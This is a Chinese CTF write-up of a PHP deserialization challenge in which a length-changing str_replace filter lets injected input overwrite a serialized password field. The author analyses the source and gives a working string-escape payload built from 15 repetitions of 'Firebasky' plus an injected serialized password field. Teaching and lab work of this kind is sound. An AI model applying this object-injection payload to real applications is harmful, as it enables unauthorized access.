CTF-18解题思路

<div class="markdown-body editormd-preview-container" previewcontainer="true" style="padding: 20px;"><h3 id="h3--"><a name="源码分析：" class="reference-link"></a><span class="header-link octicon octicon-link"></span>源码分析：</h3><pre class="prettyprint linenums prettyprinted" style=""><ol class="linenums"><li class="L0"><code><span class="pun">&lt;?</span><span class="pln">php</span></code></li><li class="L1"><code><span class="pln">highlight_file</span><span class="pun">(</span><span class="pln">__FILE__</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln">error_reporting</span><span class="pun">(</span><span class="lit">0</span><span class="pun">);</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="kwd">class</span><span class="pln"> a</span></code></li><li class="L5"><code><span class="pun">{</span></code></li><li class="L6"><code><span class="pln">  </span><span class="kwd">public</span><span class="pln"> $uname</span><span class="pun">;</span></code></li><li class="L7"><code><span class="pln">  </span><span class="kwd">public</span><span class="pln"> $password</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pln">  </span><span class="kwd">public</span><span class="pln"> </span><span class="kwd">function</span><span class="pln"> __construct</span><span class="pun">(</span><span class="pln">$uname</span><span class="pun">,</span><span class="pln">$password</span><span class="pun">)</span></code></li><li class="L9"><code><span class="pln">  </span><span class="pun">{</span></code></li><li class="L0"><code><span class="pln">    $this</span><span class="pun">-&gt;</span><span class="pln">uname</span><span class="pun">=</span><span class="pln">$uname</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln">    $this</span><span class="pun">-&gt;</span><span class="pln">password</span><span class="pun">=</span><span class="pln">$password</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln">  </span><span class="pun">}</span></code></li><li class="L3"><code><span class="pln">  </span><span class="kwd">public</span><span class="pln"> </span><span class="kwd">function</span><span class="pln"> __wakeup</span><span class="pun">()</span></code></li><li class="L4"><code><span class="pln">  </span><span class="pun">{</span></code></li><li class="L5"><code><span class="pln">      </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">$this</span><span class="pun">-&gt;</span><span class="pln">password</span><span class="pun">===</span><span class="str">'yu22x'</span><span class="pun">)</span></code></li><li class="L6"><code><span class="pln">      </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln">        include</span><span class="pun">(</span><span class="str">'flag.php'</span><span class="pun">);</span></code></li><li class="L8"><code><span class="pln">        echo $flag</span><span class="pun">;</span><span class="pln">  </span></code></li><li class="L9"><code><span class="pln">      </span><span class="pun">}</span></code></li><li class="L0"><code><span class="pln">      </span><span class="kwd">else</span></code></li><li class="L1"><code><span class="pln">      </span><span class="pun">{</span></code></li><li class="L2"><code><span class="pln">        echo </span><span class="str">'wrong password'</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln">      </span><span class="pun">}</span></code></li><li class="L4"><code><span class="pln">    </span><span class="pun">}</span></code></li><li class="L5"><code><span class="pln">  </span><span class="pun">}</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="kwd">function</span><span class="pln"> filter</span><span class="pun">(</span><span class="pln">$string</span><span class="pun">){</span></code></li><li class="L8"><code><span class="pln">    </span><span class="kwd">return</span><span class="pln"> str_replace</span><span class="pun">(</span><span class="str">'Firebasky'</span><span class="pun">,</span><span class="str">'Firebaskyup'</span><span class="pun">,</span><span class="pln">$string</span><span class="pun">);</span></code></li><li class="L9"><code><span class="pun">}</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="pln">$uname</span><span class="pun">=</span><span class="pln">$_GET</span><span class="pun">[</span><span class="lit">1</span><span class="pun">];</span></code></li><li class="L2"><code><span class="pln">$password</span><span class="pun">=</span><span class="lit">1</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln">$ser</span><span class="pun">=</span><span class="pln">filter</span><span class="pun">(</span><span class="pln">serialize</span><span class="pun">(</span><span class="kwd">new</span><span class="pln"> a</span><span class="pun">(</span><span class="pln">$uname</span><span class="pun">,</span><span class="pln">$password</span><span class="pun">)));</span></code></li><li class="L4"><code><span class="pln">$test</span><span class="pun">=</span><span class="pln">unserialize</span><span class="pun">(</span><span class="pln">$ser</span><span class="pun">);</span></code></li><li class="L5"><code><span class="pun">?&gt;</span></code></li></ol></pre><p><strong>得到flag的条件：</strong><code>$this-&gt;password==='yu22x'</code></p>
<p><strong>难点是$password不可控，考查的是</strong><a href="https://www.cnblogs.com/NPFS/p/13338789.html">反序列化字符串逃逸</a>。（<a href="https://www.cnblogs.com/NPFS/p/13338789.html）">https://www.cnblogs.com/NPFS/p/13338789.html）</a></p>
<p><strong>要在参数值的结尾构造：<code>";s:8:"password";s:5:"yu22x";}</code>（总共是30个字符）。因为<code>str_replace('Firebasky','Firebaskyup',$string);</code>替换后从9个字符变为了11个，多了两个字符，因此输入15个Firebasky即可。</strong></p>
<h2 id="h2-payload-"><a name="payload:" class="reference-link"></a><span class="header-link octicon octicon-link"></span>payload:</h2><pre class="prettyprint linenums prettyprinted" style=""><ol class="linenums"><li class="L0"><code class="lang-php"><span class="typ">FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky</span><span class="str">";s:8:"</span><span class="pln">password</span><span class="str">";s:5:"</span><span class="pln">yu22x</span><span class="str">";}</span></code></li></ol></pre>
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